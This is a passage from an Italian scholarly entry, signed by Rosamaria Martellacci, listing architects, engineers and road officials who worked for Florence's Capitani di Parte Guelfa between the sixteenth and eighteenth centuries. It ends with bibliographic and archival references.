Altri incarichi o collaborazioni sporadiche risultano affidati a Bartolomeo Ammannati, Giorgio Vasari, Francesco da Sangallo, Jacopo Carrucci detto il Pontormo (1549), Baccio Bandinelli (1588), Filippo di Bernardo Buontalenti (oltre ad essere nominato per diverse consulenze, nel 1579 risulta “Provveditore dei Fiumi”), Domenico Marcacci (capomastro pistoiese, compie con il capomastro Lucini visite al fiume Pescia a Collodi nel 1601), Giuseppe Ignazio Rossi (XVIII sec.), Gaspero Paganelli da Nipozzano (nel 1764 disegna il Cabreo della proprietà Bargigli di Camperiti; a lui si deve anche il Plantario delle strade della Comunità di Rignano, del 1774 ca.), Antonio Ferri, Giovan Battista Foggini.
Tra gli altri tecnici operanti nella Parte, ma in periodi e/o con ruoli non bene identificati, risultano: Ridolfo Giamberti (opera tra il XVI e il XVII sec.), Giovan Domenico degli Albizi (XVII sec.), Cristoforo Berardi, Francesco Zati, Giovan Francesco Giannetti (XVII sec.), Domenico Cecchi (XVIII sec.), Anton Francesco Zocchi (XVIII sec.), Francesco Santuccio di Coreglia, Francesco Gennaini, Domenico Sarrini, Antonio da Sangallo il Vecchio, Pietro Del Puglia, Francesco di Battista, Odoardo Corsini, Dario Donati, Gherardo Boscoli, Pietro Giardini, Filippo Grobert, Pietro Maestrelli, Felice Arcangelo Bettini, Bastiano di Francesco Bonelli (capomastro), Prospero Buonmattei, Matteo Colombani (XVI sec.), Giuliano Gatteschi (XVIII sec.), Sebastiano Mirridolfi, Michele Pacini (XVIII sec.), Simone Pieri (XVII–XVIII sec.), Giuliano Salviati, Domenico Zanobini (XVI sec.), Stefano Zocchi (XVIII sec.), Antonio Matteo Lancisi (capitano e ingegnere, a lui si deve una pianta dell’alta Valtiberina), Iacopo Polverini, Giovanni Luder (compilatore della raccolta relativa alla montagna pistoiese, 1711, conservata in ASF, Piante dei Capitani di Parte, cartone XXV).
Tra i Viai sono nominati Domenico d’Agnolo Rosini, Giovanni di Stefano Fanetti, Piero di Matteo Corboli, Santi di Pasquino di Stinaro.

Riferimenti bibliografici e archivistici

Benigni e de Gramatica, 1998, pp. 18-34; Bertocci, Bini e Martellacci, 1991; Bigazzi, Grazi e Giulianelli, a cura di, 1985; Breschi, 1981, pp. 23-66; Casali et Al., 1985; Casali e Diana, 1983; Cresti, 1987; Di Pietro e Fanelli, 1973; Ferretti, 2004; Guida generale agli Archivi di Stato italiani, Firenze 1983, pp. 61 e 73; Guarducci e Rombai, 1998; Guarducci e Rombai, 1999, pp. 71-109; Guarducci, 1986, pp. 73-136; Karwacka Codini e Sbrilli, 1987; Lamberini e Lazzareschi, 1982; Livorno e Pisa: due città e un territorio nella politica dei Medici, 1980; Ludovico, 1991; Mantovani, 1987; Nanni, Pierulivo e Regoli, 1996; Nuti, 1927, pp. 155-159; Orefice, 1984, pp. 119-128; Orefice e Martellacci, 1988; Pansini, 1993; Pansini, a cura di, 1989, pp. 7-19; Piccardi, 1999–2004; Piccardi, 2001; Pisa. Iconografia a stampa dal XV al XVIII secolo, 1991; Prontera e Rombai, 2003; Rombai, 1983, pp. 83-100; Rombai, 1987; Rombai, 1987, vol. I, pp. 367-414; Rombai, 1989, vol. I, pp. 21-35; Rombai, 1993, pp. pp. 9-18, 103-146 e 203-229; Rombai, 1995, pp. 41-50; Rombai, 1997, pp. 111-138 e 57-98; Rombai, 2001, pp. 413-438; Rombai e Sorelli, 1992, pp. 37-71; Rombai, Toccafondi e Vivoli, 1987, pp. 474-475; Rombai e Vivoli, 1996, pp. 141-163; Salvagnini, 1983; Sguardo generale sulla cartografia e cartografi italiani nel Medio Evo, 1985; Stopani, 1986, pp. 5-15; Stopani, 1984, pp. 21-61; Tartaro, 1992–1993; Tesi, a cura di, 1981; Toccafondi, 1996, pp. 147-170; Toccafondi e Vivoli, 1987, vol. I, pp. 167-202; Valentini, 1993, pp. 245-303; Vivoli, 1993, pp. 225-239; Vivoli, 1994; ASF, Piante dei Capitani di Parte Guelfa; ASF, Piante dei Capitani di Parte Guelfa. Popoli e Strade; ASF, Miscellanea di Piante.

Rosamaria Martellacci